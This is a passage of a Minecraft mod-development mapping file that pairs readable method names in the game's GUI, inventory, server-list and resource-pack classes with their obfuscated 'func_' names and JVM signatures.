(Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/getSlotTexture ()Ljava/lang/String; net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_178171_c ()Ljava/lang/String; +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/getStack ()Lnet/minecraft/item/ItemStack; net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_75211_c ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/putStack (Lnet/minecraft/item/ItemStack;)V net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_75215_d (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/getHasStack ()Z net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_75216_d ()Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/onSlotChanged ()V net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_75218_e ()V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/updateActivePotionEffects ()V net/minecraft/client/gui/inventory/GuiContainerCreative/func_175378_g ()V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/keyTyped (CI)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_73869_a (CI)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/drawScreen (IIF)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_73863_a (IIF)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/mouseClicked (III)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_73864_a (III)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/handleMouseClick (Lnet/minecraft/inventory/Slot;III)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_146984_a (Lnet/minecraft/inventory/Slot;III)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/func_147051_a (Lnet/minecraft/creativetab/CreativeTabs;)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_147051_a (Lnet/minecraft/creativetab/CreativeTabs;)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/func_147049_a (Lnet/minecraft/creativetab/CreativeTabs;II)Z net/minecraft/client/gui/inventory/GuiContainerCreative/func_147049_a (Lnet/minecraft/creativetab/CreativeTabs;II)Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/renderToolTip (Lnet/minecraft/item/ItemStack;II)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_146285_a (Lnet/minecraft/item/ItemStack;II)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/initGui ()V net/minecraft/client/gui/inventory/GuiContainerCreative/func_73866_w_ ()V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_146979_b (II)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/mouseReleased (III)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_146286_b (III)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/setCurrentCreativeTab (Lnet/minecraft/creativetab/CreativeTabs;)V net/minecraft/client/gui/inventory/GuiContainerCreative/func_147050_b (Lnet/minecraft/creativetab/CreativeTabs;)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/renderCreativeInventoryHoveringText (Lnet/minecraft/creativetab/CreativeTabs;II)Z net/minecraft/client/gui/inventory/GuiContainerCreative/func_147052_b (Lnet/minecraft/creativetab/CreativeTabs;II)Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/updateScreen ()V net/minecraft/client/gui/inventory/GuiContainerCreative/func_73876_c ()V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/getSelectedTabIndex ()I net/minecraft/client/gui/inventory/GuiContainerCreative/func_147056_g ()I +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/access$000 ()Lnet/minecraft/inventory/InventoryBasic; net/minecraft/client/gui/inventory/GuiContainerCreative/access$000 ()Lnet/minecraft/inventory/InventoryBasic; +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/updateCreativeSearch ()V net/minecraft/client/gui/inventory/GuiContainerCreative/func_147053_i ()V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/needsScrollBars ()Z net/minecraft/client/gui/inventory/GuiContainerCreative/func_147055_p ()Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/handleMouseInput ()V net/minecraft/client/gui/inventory/GuiContainerCreative/func_146274_d ()V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative/onGuiClosed ()V net/minecraft/client/gui/inventory/GuiContainerCreative/func_146281_b ()V +MD: net/minecraft/client/gui/inventory/GuiDispenser/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiDispenser/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiDispenser/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiDispenser/func_146979_b (II)V +MD: net/minecraft/client/renderer/InventoryEffectRenderer/updateActivePotionEffects ()V net/minecraft/client/renderer/InventoryEffectRenderer/func_175378_g ()V +MD: net/minecraft/client/renderer/InventoryEffectRenderer/drawScreen (IIF)V net/minecraft/client/renderer/InventoryEffectRenderer/func_73863_a (IIF)V +MD: net/minecraft/client/renderer/InventoryEffectRenderer/initGui ()V net/minecraft/client/renderer/InventoryEffectRenderer/func_73866_w_ ()V +MD: net/minecraft/client/renderer/InventoryEffectRenderer/drawActivePotionEffects ()V net/minecraft/client/renderer/InventoryEffectRenderer/func_147044_g ()V +MD: net/minecraft/util/EnchantmentNameParts/getInstance ()Lnet/minecraft/util/EnchantmentNameParts; net/minecraft/util/EnchantmentNameParts/func_178176_a ()Lnet/minecraft/util/EnchantmentNameParts; +MD: net/minecraft/util/EnchantmentNameParts/reseedRandomGenerator (J)V net/minecraft/util/EnchantmentNameParts/func_148335_a (J)V +MD: net/minecraft/util/EnchantmentNameParts/generateNewRandomName ()Ljava/lang/String; net/minecraft/util/EnchantmentNameParts/func_148334_a ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiEnchantment/func_147068_g ()V net/minecraft/client/gui/GuiEnchantment/func_147068_g ()V +MD: net/minecraft/client/gui/GuiEnchantment/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/GuiEnchantment/func_146976_a (FII)V +MD: net/minecraft/client/gui/GuiEnchantment/drawScreen (IIF)V net/minecraft/client/gui/GuiEnchantment/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiEnchantment/mouseClicked (III)V net/minecraft/client/gui/GuiEnchantment/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiEnchantment/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/GuiEnchantment/func_146979_b (II)V +MD: net/minecraft/client/gui/GuiEnchantment/updateScreen ()V net/minecraft/client/gui/GuiEnchantment/func_73876_c ()V +MD: net/minecraft/client/gui/inventory/GuiFurnace/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiFurnace/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiFurnace/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiFurnace/func_146979_b (II)V +MD: net/minecraft/client/gui/inventory/GuiFurnace/getCookProgressScaled (I)I net/minecraft/client/gui/inventory/GuiFurnace/func_175381_h (I)I +MD: net/minecraft/client/gui/inventory/GuiFurnace/getBurnLeftScaled (I)I net/minecraft/client/gui/inventory/GuiFurnace/func_175382_i (I)I +MD: net/minecraft/command/server/CommandSaveOff/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandSaveOff/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandSaveOff/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandSaveOff/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandSaveOff/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandSaveOff/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiHopper/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/GuiHopper/func_146976_a (FII)V +MD: net/minecraft/client/gui/GuiHopper/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/GuiHopper/func_146979_b (II)V +MD: net/minecraft/client/gui/inventory/GuiScreenHorseInventory/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiScreenHorseInventory/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiScreenHorseInventory/drawScreen (IIF)V net/minecraft/client/gui/inventory/GuiScreenHorseInventory/func_73863_a (IIF)V +MD: net/minecraft/client/gui/inventory/GuiScreenHorseInventory/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiScreenHorseInventory/func_146979_b (II)V +MD: net/minecraft/client/gui/inventory/GuiInventory/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiInventory/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiInventory/drawScreen (IIF)V net/minecraft/client/gui/inventory/GuiInventory/func_73863_a (IIF)V +MD: net/minecraft/client/gui/inventory/GuiInventory/drawEntityOnScreen (IIIFFLnet/minecraft/entity/EntityLivingBase;)V net/minecraft/client/gui/inventory/GuiInventory/func_147046_a (IIIFFLnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/client/gui/inventory/GuiInventory/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/inventory/GuiInventory/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/inventory/GuiInventory/initGui ()V net/minecraft/client/gui/inventory/GuiInventory/func_73866_w_ ()V +MD: net/minecraft/client/gui/inventory/GuiInventory/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiInventory/func_146979_b (II)V +MD: net/minecraft/client/gui/inventory/GuiInventory/updateScreen ()V net/minecraft/client/gui/inventory/GuiInventory/func_73876_c ()V +MD: net/minecraft/client/gui/GuiMerchant$MerchantButton/drawButton (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiMerchant$MerchantButton/func_146112_a (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiMerchant/getMerchant ()Lnet/minecraft/entity/IMerchant; net/minecraft/client/gui/GuiMerchant/func_147035_g ()Lnet/minecraft/entity/IMerchant; +MD: net/minecraft/client/gui/GuiMerchant/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/GuiMerchant/func_146976_a (FII)V +MD: net/minecraft/client/gui/GuiMerchant/drawScreen (IIF)V net/minecraft/client/gui/GuiMerchant/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiMerchant/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiMerchant/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiMerchant/initGui ()V net/minecraft/client/gui/GuiMerchant/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiMerchant/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/GuiMerchant/func_146979_b (II)V +MD: net/minecraft/client/gui/GuiMerchant/updateScreen ()V net/minecraft/client/gui/GuiMerchant/func_73876_c ()V +MD: net/minecraft/client/gui/GuiMerchant/access$000 ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/gui/GuiMerchant/access$000 ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/gui/inventory/GuiEditSign/keyTyped (CI)V net/minecraft/client/gui/inventory/GuiEditSign/func_73869_a (CI)V +MD: net/minecraft/client/gui/inventory/GuiEditSign/drawScreen (IIF)V net/minecraft/client/gui/inventory/GuiEditSign/func_73863_a (IIF)V +MD: net/minecraft/client/gui/inventory/GuiEditSign/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/inventory/GuiEditSign/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/inventory/GuiEditSign/initGui ()V net/minecraft/client/gui/inventory/GuiEditSign/func_73866_w_ ()V +MD: net/minecraft/client/gui/inventory/GuiEditSign/updateScreen ()V net/minecraft/client/gui/inventory/GuiEditSign/func_73876_c ()V +MD: net/minecraft/client/gui/inventory/GuiEditSign/onGuiClosed ()V net/minecraft/client/gui/inventory/GuiEditSign/func_146281_b ()V +MD: net/minecraft/client/gui/GuiMultiplayer/createButtons ()V net/minecraft/client/gui/GuiMultiplayer/func_146794_g ()V +MD: net/minecraft/client/gui/GuiMultiplayer/keyTyped (CI)V net/minecraft/client/gui/GuiMultiplayer/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiMultiplayer/drawScreen (IIF)V net/minecraft/client/gui/GuiMultiplayer/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiMultiplayer/mouseClicked (III)V net/minecraft/client/gui/GuiMultiplayer/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiMultiplayer/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiMultiplayer/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiMultiplayer/func_175392_a (Lnet/minecraft/client/gui/ServerListEntryNormal;I)Z net/minecraft/client/gui/GuiMultiplayer/func_175392_a (Lnet/minecraft/client/gui/ServerListEntryNormal;I)Z +MD: net/minecraft/client/gui/GuiMultiplayer/func_175391_a (Lnet/minecraft/client/gui/ServerListEntryNormal;IZ)V net/minecraft/client/gui/GuiMultiplayer/func_175391_a (Lnet/minecraft/client/gui/ServerListEntryNormal;IZ)V +MD: net/minecraft/client/gui/GuiMultiplayer/connectToServer (Lnet/minecraft/client/multiplayer/ServerData;)V net/minecraft/client/gui/GuiMultiplayer/func_146791_a (Lnet/minecraft/client/multiplayer/ServerData;)V +MD: net/minecraft/client/gui/GuiMultiplayer/setHoveringText (Ljava/lang/String;)V net/minecraft/client/gui/GuiMultiplayer/func_146793_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiMultiplayer/confirmClicked (ZI)V net/minecraft/client/gui/GuiMultiplayer/func_73878_a (ZI)V +MD: net/minecraft/client/gui/GuiMultiplayer/initGui ()V net/minecraft/client/gui/GuiMultiplayer/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiMultiplayer/selectServer (I)V net/minecraft/client/gui/GuiMultiplayer/func_146790_a (I)V +MD: net/minecraft/client/gui/GuiMultiplayer/mouseReleased (III)V net/minecraft/client/gui/GuiMultiplayer/func_146286_b (III)V +MD: net/minecraft/client/gui/GuiMultiplayer/func_175394_b (Lnet/minecraft/client/gui/ServerListEntryNormal;I)Z net/minecraft/client/gui/GuiMultiplayer/func_175394_b (Lnet/minecraft/client/gui/ServerListEntryNormal;I)Z +MD: net/minecraft/client/gui/GuiMultiplayer/func_175393_b (Lnet/minecraft/client/gui/ServerListEntryNormal;IZ)V net/minecraft/client/gui/GuiMultiplayer/func_175393_b (Lnet/minecraft/client/gui/ServerListEntryNormal;IZ)V +MD: net/minecraft/client/gui/GuiMultiplayer/updateScreen ()V net/minecraft/client/gui/GuiMultiplayer/func_73876_c ()V +MD: net/minecraft/client/gui/GuiMultiplayer/connectToSelected ()V net/minecraft/client/gui/GuiMultiplayer/func_146796_h ()V +MD: net/minecraft/client/gui/GuiMultiplayer/getOldServerPinger ()Lnet/minecraft/client/network/OldServerPinger; net/minecraft/client/gui/GuiMultiplayer/func_146789_i ()Lnet/minecraft/client/network/OldServerPinger; +MD: net/minecraft/client/gui/GuiMultiplayer/getServerList ()Lnet/minecraft/client/multiplayer/ServerList; net/minecraft/client/gui/GuiMultiplayer/func_146795_p ()Lnet/minecraft/client/multiplayer/ServerList; +MD: net/minecraft/client/gui/GuiMultiplayer/refreshServerList ()V net/minecraft/client/gui/GuiMultiplayer/func_146792_q ()V +MD: net/minecraft/client/gui/GuiMultiplayer/handleMouseInput ()V net/minecraft/client/gui/GuiMultiplayer/func_146274_d ()V +MD: net/minecraft/client/gui/GuiMultiplayer/onGuiClosed ()V net/minecraft/client/gui/GuiMultiplayer/func_146281_b ()V +MD: net/minecraft/client/gui/ServerListEntryLanScan/setSelected (III)V net/minecraft/client/gui/ServerListEntryLanScan/func_178011_a (III)V +MD: net/minecraft/client/gui/ServerListEntryLanScan/mousePressed (IIIIII)Z net/minecraft/client/gui/ServerListEntryLanScan/func_148278_a (IIIIII)Z +MD: net/minecraft/client/gui/ServerListEntryLanScan/drawEntry (IIIIIIIZ)V net/minecraft/client/gui/ServerListEntryLanScan/func_180790_a (IIIIIIIZ)V +MD: net/minecraft/client/gui/ServerListEntryLanScan/mouseReleased (IIIIII)V net/minecraft/client/gui/ServerListEntryLanScan/func_148277_b (IIIIII)V +MD: net/minecraft/client/gui/ServerListEntryLanDetected/getLanServer ()Lnet/minecraft/client/network/LanServerDetector$LanServer; net/minecraft/client/gui/ServerListEntryLanDetected/func_148289_a ()Lnet/minecraft/client/network/LanServerDetector$LanServer; +MD: net/minecraft/client/gui/ServerListEntryLanDetected/setSelected (III)V net/minecraft/client/gui/ServerListEntryLanDetected/func_178011_a (III)V +MD: net/minecraft/client/gui/ServerListEntryLanDetected/mousePressed (IIIIII)Z net/minecraft/client/gui/ServerListEntryLanDetected/func_148278_a (IIIIII)Z +MD: net/minecraft/client/gui/ServerListEntryLanDetected/drawEntry (IIIIIIIZ)V net/minecraft/client/gui/ServerListEntryLanDetected/func_180790_a (IIIIIIIZ)V +MD: net/minecraft/client/gui/ServerListEntryLanDetected/mouseReleased (IIIIII)V net/minecraft/client/gui/ServerListEntryLanDetected/func_148277_b (IIIIII)V +MD: net/minecraft/client/gui/ServerListEntryNormal$1/run ()V net/minecraft/client/gui/ServerListEntryNormal$1/run ()V +MD: net/minecraft/client/gui/ServerListEntryNormal/getServerData ()Lnet/minecraft/client/multiplayer/ServerData; net/minecraft/client/gui/ServerListEntryNormal/func_148296_a ()Lnet/minecraft/client/multiplayer/ServerData; +MD: net/minecraft/client/gui/ServerListEntryNormal/setSelected (III)V net/minecraft/client/gui/ServerListEntryNormal/func_178011_a (III)V +MD: net/minecraft/client/gui/ServerListEntryNormal/mousePressed (IIIIII)Z net/minecraft/client/gui/ServerListEntryNormal/func_148278_a (IIIIII)Z +MD: net/minecraft/client/gui/ServerListEntryNormal/drawEntry (IIIIIIIZ)V net/minecraft/client/gui/ServerListEntryNormal/func_180790_a (IIIIIIIZ)V +MD: net/minecraft/client/gui/ServerListEntryNormal/drawTextureAt (IILnet/minecraft/util/ResourceLocation;)V net/minecraft/client/gui/ServerListEntryNormal/func_178012_a (IILnet/minecraft/util/ResourceLocation;)V +MD: net/minecraft/client/gui/ServerListEntryNormal/access$000 (Lnet/minecraft/client/gui/ServerListEntryNormal;)Lnet/minecraft/client/multiplayer/ServerData; net/minecraft/client/gui/ServerListEntryNormal/access$000 (Lnet/minecraft/client/gui/ServerListEntryNormal;)Lnet/minecraft/client/multiplayer/ServerData; +MD: net/minecraft/client/gui/ServerListEntryNormal/func_178013_b ()Z net/minecraft/client/gui/ServerListEntryNormal/func_178013_b ()Z +MD: net/minecraft/client/gui/ServerListEntryNormal/mouseReleased (IIIIII)V net/minecraft/client/gui/ServerListEntryNormal/func_148277_b (IIIIII)V +MD: net/minecraft/client/gui/ServerListEntryNormal/access$100 (Lnet/minecraft/client/gui/ServerListEntryNormal;)Lnet/minecraft/client/gui/GuiMultiplayer; net/minecraft/client/gui/ServerListEntryNormal/access$100 (Lnet/minecraft/client/gui/ServerListEntryNormal;)Lnet/minecraft/client/gui/GuiMultiplayer; +MD: net/minecraft/client/gui/ServerListEntryNormal/prepareServerIcon ()V net/minecraft/client/gui/ServerListEntryNormal/func_148297_b ()V +MD: net/minecraft/client/gui/ServerSelectionList/isSelected (I)Z net/minecraft/client/gui/ServerSelectionList/func_148131_a (I)Z +MD: net/minecraft/client/gui/ServerSelectionList/func_148195_a (Lnet/minecraft/client/multiplayer/ServerList;)V net/minecraft/client/gui/ServerSelectionList/func_148195_a (Lnet/minecraft/client/multiplayer/ServerList;)V +MD: net/minecraft/client/gui/ServerSelectionList/func_148194_a (Ljava/util/List;)V net/minecraft/client/gui/ServerSelectionList/func_148194_a (Ljava/util/List;)V +MD: net/minecraft/client/gui/ServerSelectionList/getSize ()I net/minecraft/client/gui/ServerSelectionList/func_148127_b ()I +MD: net/minecraft/client/gui/ServerSelectionList/getListEntry (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; net/minecraft/client/gui/ServerSelectionList/func_148180_b (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; +MD: net/minecraft/client/gui/ServerSelectionList/getListWidth ()I net/minecraft/client/gui/ServerSelectionList/func_148139_c ()I +MD: net/minecraft/client/gui/ServerSelectionList/setSelectedSlotIndex (I)V net/minecraft/client/gui/ServerSelectionList/func_148192_c (I)V +MD: net/minecraft/client/gui/ServerSelectionList/getScrollBarX ()I net/minecraft/client/gui/ServerSelectionList/func_148137_d ()I +MD: net/minecraft/client/gui/ServerSelectionList/func_148193_k ()I net/minecraft/client/gui/ServerSelectionList/func_148193_k ()I +MD: net/minecraft/client/gui/GuiScreenResourcePacks/getAvailableResourcePacks ()Ljava/util/List; net/minecraft/client/gui/GuiScreenResourcePacks/func_146964_g ()Ljava/util/List; +MD: net/minecraft/client/gui/GuiScreenResourcePacks/drawScreen (IIF)V net/minecraft/client/gui/GuiScreenResourcePacks/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreenResourcePacks/mouseClicked (III)V net/minecraft/client/gui/GuiScreenResourcePacks/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiScreenResourcePacks/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiScreenResourcePacks/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiScreenResourcePacks/hasResourcePackEntry (Lnet/minecraft/client/resources/ResourcePackListEntry;)Z net/minecraft/client/gui/GuiScreenResourcePacks/func_146961_a (Lnet/minecraft/client/resources/ResourcePackListEntry;)Z +MD: net/minecraft/client/gui/GuiScreenResourcePacks/initGui ()V net/minecraft/client/gui/GuiScreenResourcePacks/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiScreenResourcePacks/mouseReleased (III)V net/minecraft/client/gui/GuiScreenResourcePacks/func_146286_b (III)V +MD: net/minecraft/client/gui/GuiScreenResourcePacks/getListContaining (Lnet/minecraft/client/resources/ResourcePackListEntry;)Ljava/util/List; net/minecraft/client/gui/GuiScreenResourcePacks/func_146962_b (Lnet/minecraft/client/resources/ResourcePackListEntry;)Ljava/util/List; +MD: net/minecraft/client/gui/GuiScreenResourcePacks/getSelectedResourcePacks ()Ljava/util/List; net/minecraft/client/gui/GuiScreenResourcePacks/func_146963_h ()Ljava/util/List; +MD: net/minecraft/client/gui/GuiScreenResourcePacks/markChanged ()V net/minecraft/client/gui/GuiScreenResourcePacks/func_175288_g ()V +MD: net/minecraft/client/gui/GuiScreenResourcePacks/handleMouseInput ()V net/minecraft/client/gui/GuiScreenResourcePacks/func_146274_d ()V +MD: net/minecraft/client/resources/ResourcePackListEntry$1/confirmClicked (ZI)V net/minecraft/client/resources/ResourcePackListEntry$1/func_73878_a (ZI)V +MD: net/minecraft/client/resources/ResourcePackListEntry/func_183019_a ()I net/minecraft/client/resources/ResourcePackListEntry/func_183019_a ()I +MD: net/minecraft/client/resources/ResourcePackListEntry/setSelected (III)V net/minecraft/client/resources/ResourcePackListEntry/func_178011_a (III)V +MD: net/minecraft/client/resources/ResourcePackListEntry/mousePressed (IIIIII)Z net/minecraft/client/resources/ResourcePackListEntry/func_148278_a (IIIIII)Z +MD: net/minecraft/client/resources/ResourcePackListEntry/drawEntry (IIIIIIIZ)V net/minecraft/client/resources/ResourcePackListEntry/func_180790_a (IIIIIIIZ)V +MD: net/minecraft/client/resources/ResourcePackListEntry/func_148311_a ()Ljava/lang/String; net/minecraft/client/resources/ResourcePackListEntry/func_148311_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/ResourcePackListEntry/mouseReleased (IIIIII)V net/minecraft/client/resources/ResourcePackListEntry/func_148277_b (IIIIII)V +MD: net/minecraft/client/resources/ResourcePackListEntry/func_148312_b ()Ljava/lang/String; net/minecraft/client/resources/ResourcePackListEntry/func_148312_b ()Ljava/lang/String; +MD: net/minecraft/client/resources/ResourcePackListEntry/func_148313_c ()V net/minecraft/client/resources/ResourcePackListEntry/func_148313_c ()V +MD: net/minecraft/client/resources/ResourcePackListEntry/func_148310_d ()Z net/minecraft/client/resources/ResourcePackListEntry/func_148310_d ()Z +MD: net/minecraft/client/resources/ResourcePackListEntry/func_148309_e ()Z net/minecraft/client/resources/ResourcePackListEntry/func_148309_e ()Z +MD: net/minecraft/client/resources/ResourcePackListEntry/func_148308_f ()Z net/minecraft/client/resources/ResourcePackListEntry/func_148308_f ()Z +MD: net/minecraft/client/resources/ResourcePackListEntry/func_148314_g ()Z net/minecraft/client/resources/ResourcePackListEntry/func_148314_g ()Z +MD: net/minecraft/client/resources/ResourcePackListEntry/func_148307_h ()Z net/minecraft/client/resources/ResourcePackListEntry/func_148307_h ()Z +MD: net/minecraft/client/resources/ResourcePackListEntryDefault/func_183019_a ()I net/minecraft/client/resources/ResourcePackListEntryDefault/func_183019_a ()I +MD: net/minecraft/client/resources/ResourcePackListEntryDefault/func_148311_a ()Ljava/lang/String; net/minecraft/client/resources/ResourcePackListEntryDefault/func_148311_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/ResourcePackListEntryDefault/func_148312_b ()Ljava/lang/String; net/minecraft/client/resources/ResourcePackListEntryDefault/func_148312_b ()Ljava/lang/String; +MD: net/minecraft/client/resources/ResourcePackListEntryDefault/func_148313_c ()V net/minecraft/client/resources/ResourcePackListEntryDefault/func_148313_c ()V +MD: net/minecraft/client/resources/ResourcePackListEntryDefault/func_148310_d ()Z net/minecraft/client/resources/ResourcePackListEntryDefault/func_148310_d ()Z +MD: net/minecraft/client/resources/ResourcePackListEntryDefault/func_148309_e ()Z net/minecraft/client/resources/ResourcePackListEntryDefault/func_148309_e ()Z +MD: net/minecraft/client/resources/ResourcePackListEntryDefault/func_148308_f ()Z net/minecraft/client/resources/ResourcePackListEntryDefault/func_148308_f ()Z +MD: net/minecraft/client/resources/ResourcePackListEntryDefault/func_148314_g ()Z net/minecraft/client/resources/ResourcePackListEntryDefault/func_148314_g ()Z +MD: net/minecraft/client/resources/ResourcePackListEntryDefault/func_148307_h ()Z net/minecraft/client/resources/ResourcePackListEntryDefault/func_148307_h ()Z +MD: net/minecraft/client/resources/ResourcePackListEntryFound/func_183019_a ()I net/minecraft/client/resources/ResourcePackListEntryFound/func_183019_a ()I +MD: net/minecraft/client/resources/ResourcePackListEntryFound/func_148311_a ()Ljava/lang/String; net/minecraft/client/resources/ResourcePackListEntryFound/func_148311_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/ResourcePackListEntryFound/func_148312_b ()Ljava/lang/String; net/minecraft/client/resources/ResourcePackListEntryFound/func_148312_b ()Ljava/lang/String; +MD: net/minecraft/client/resources/ResourcePackListEntryFound/func_148313_c ()V net/minecraft/client/resources/ResourcePackListEntryFound/func_148313_c ()V +MD: net/minecraft/client/resources/ResourcePackListEntryFound/func_148318_i ()Lnet/minecraft/client/resources/ResourcePackRepository$Entry; net/minecraft/client/resources/ResourcePackListEntryFound/func_148318_i ()Lnet/minecraft/client/resources/ResourcePackRepository$Entry; +MD: net/minecraft/client/gui/GuiResourcePackAvailable/getListHeader ()Ljava/lang/String; net/minecraft/client/gui/GuiResourcePackAvailable/func_148202_k ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiResourcePackList/drawListHeader (IILnet/minecraft/client/renderer/Tessellator;)V net/minecraft/client/gui/GuiResourcePackList/func_148129_a (IILnet/minecraft/client/renderer/Tessellator;)V +MD: net/minecraft/client/gui/GuiResourcePackList/getSize ()I net/minecraft/client/gui/GuiResourcePackList/func_148127_b ()I +MD: net/minecraft/client/gui/GuiResourcePackList/getListEntry (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; net/minecraft/client/gui/GuiResourcePackList/func_148180_b (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; +MD: net/minecraft/client/gui/GuiResourcePackList/getListWidth ()I net/minecraft/client/gui/GuiResourcePackList/func_148139_c ()I +MD: net/minecraft/client/gui/GuiResourcePackList/getListEntry (I)Lnet/minecraft/client/resources/ResourcePackListEntry; net/minecraft/client/gui/GuiResourcePackList/func_148180_b (I)Lnet/minecraft/client/resources/ResourcePackListEntry; +MD: net/minecraft/client/gui/GuiResourcePackList/getScrollBarX ()I net/minecraft/client/gui/GuiResourcePackList/func_148137_d ()I +MD: net/minecraft/client/gui/GuiResourcePackList/getListHeader ()Ljava/lang/String; net/minecraft/client/gui/GuiResourcePackList/func_148202_k ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiResourcePackList/getList ()Ljava/util/List; 